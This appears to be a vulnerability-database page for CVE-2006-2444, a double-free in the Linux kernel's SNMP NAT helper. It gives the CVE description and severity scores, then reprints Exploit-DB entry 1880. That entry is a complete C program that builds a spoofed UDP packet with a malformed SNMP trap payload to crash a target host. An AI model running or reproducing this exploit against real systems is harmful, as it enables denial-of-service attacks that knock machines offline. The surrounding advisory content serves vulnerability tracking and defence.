CVE-2006-2444

EPSS

88.89%V3

Vector

Network

Published

2006-05-25 08:00 +00:00

Last Modified

2017-10-09 22:57 +00:00

Official links

CVE.org

NVD

Alert for a CVE

Stay informed of any changes for a specific CVE.

Alert management

List of Alerts

Alert for a CVE

Stay informed of any changes for a specific CVE.

Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

Parameters

You can specify a title that will be retrieved in the alerts that will be sent out.

Specified here a CVE ID as CVE-2024-1234

Planning

Month

Next run calculation

Day

Weekday

Hour

Minute

Creation date

Last execution

Next execution

Functionality requiring a connection

This feature, which allows you to receive alerts, is only active when you are logged into your account.

Descriptions

The snmp_trap_decode function in the SNMP NAT helper for Linux kernel before 2.6.16.18 allows remote attackers to cause a denial of service (crash) via unspecified remote attack vectors that cause failures in snmp_trap_decode that trigger (1) frees of random memory or (2) frees of previously-freed memory (double-free) by snmp_trap_decode as well as its calling function, as demonstrated via certain test cases of the PROTOS SNMP test suite.

Informations

Metrics

Metric	Score	Severity	CVSS Vector	Source
V2	7.8		AV:N/AC:L/Au:N/C:N/I:N/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 1880

Publication date : 2006-06-04 22:00 +00:00
Author : ECL Labs
EDB Verified : Yes

/* * ecl-nf-snmpwn.c - 30/05/06 * * Alex Behar * Yuri Gushin * * A patch review we did on the 2.6.16.17->18 Linux kernel source tree revealed * a restructuring of code in the snmp_parse_mangle() and the snmp_trap_decode() * functions. After further research it turned out to be a vulnerability * previously reported[1] and assigned with CVE-2006-2444. For more details, * the version change log. * * * * 1) http://kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.16.18 * * -- * Greets fly out to the ECL crew - Valentin Slavov, Dimityr Manevski. * To stranger, shrink, the Console Pimps crew (blexim, ex0, hugin, w00f, matt, * kyu, kbd and the rest), our favorite soldier boy Sagi Horev, the SigMIL crew, * izik, tanin00, and everyone else we left out. * * P.S. - blexim, how are your FACECRABS ???? :)))) * */ #ifndef _BSD_SOURCE #define _BSD_SOURCE #endif #include #include #include #include void banner(); void usage(char *); char pwnage[] = "\x30\x0a\x02\x01\x00\x04\x03\x45\x43\x4c\xa4\x00"; int main(int argc, char **argv) { char errbuf[LIBNET_ERRBUF_SIZE]; libnet_t *l; int c; u_char *buf; int packet_len = 0; struct ip *IP; struct udphdr *UDP; u_int32_t src = 0, dst = 0; banner(); if (argc < 3) usage(argv[0]); if ((l = libnet_init(LIBNET_RAW4, NULL, errbuf)) == NULL) { fprintf(stderr, "[!] libnet_init() failed: %s", errbuf); exit(-1); } if ((src = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE)) == -1) { fprintf(stderr, "[!] Unresolved source address.\n"); exit(-1); } if ((dst = libnet_name2addr4(l, argv[2], LIBNET_RESOLVE)) == -1) { fprintf(stderr, "[!] Unresolved destination address.\n"); exit(-1); } if ((buf = malloc(IP_MAXPACKET)) == NULL) { perror("malloc"); exit(-1); } UDP = (struct udphdr *)(buf + LIBNET_IPV4_H); packet_len = LIBNET_IPV4_H + LIBNET_UDP_H + sizeof(pwnage) - 1; srand(time(NULL)); IP = (struct ip *) buf; IP->ip_v = 4; /* version 4 */ IP->ip_hl = 5; /* header length */ IP->ip_tos = 0; /* IP tos */ IP->ip_len = htons(packet_len); /* total length */ IP->ip_id = rand(); /* IP ID */ IP->ip_off = htons(0); /* fragmentation flags */ IP->ip_ttl = 64; /* time to live */ IP->ip_p = IPPROTO_UDP; /* transport protocol */ IP->ip_sum = 0; IP->ip_src.s_addr = src; IP->ip_dst.s_addr = dst; UDP->uh_sport = rand(); UDP->uh_dport = (argc > 3) ? htons((u_short)atoi(argv[3])) : htons(161); UDP->uh_ulen = htons(LIBNET_UDP_H + sizeof(pwnage) - 1); UDP->uh_sum = 0; memcpy(buf + LIBNET_IPV4_H + LIBNET_UDP_H, pwnage, sizeof(pwnage) - 1); libnet_do_checksum(l, (u_int8_t *)buf, IPPROTO_UDP, packet_len - LIBNET_IPV4_H); if ((c = libnet_write_raw_ipv4(l, buf, packet_len)) == -1) { fprintf(stderr, "[!] Write error: %s\n", libnet_geterror(l)); exit(-1); } printf("[+] Packet sent.\n"); libnet_destroy(l); free(buf); return (0); } void usage(char *cmd) { printf("[!] Usage: %s [port]\n", cmd); exit(-1); } void banner() { printf("\t\tNetfilter NAT SNMP module DoS exploit\n" "\t\t Yuri Gushin \n" "\t\t Alex Behar \n" "\t\t\t ECL Team\n\n\n"); } // milw0rm.com [2006-06-05]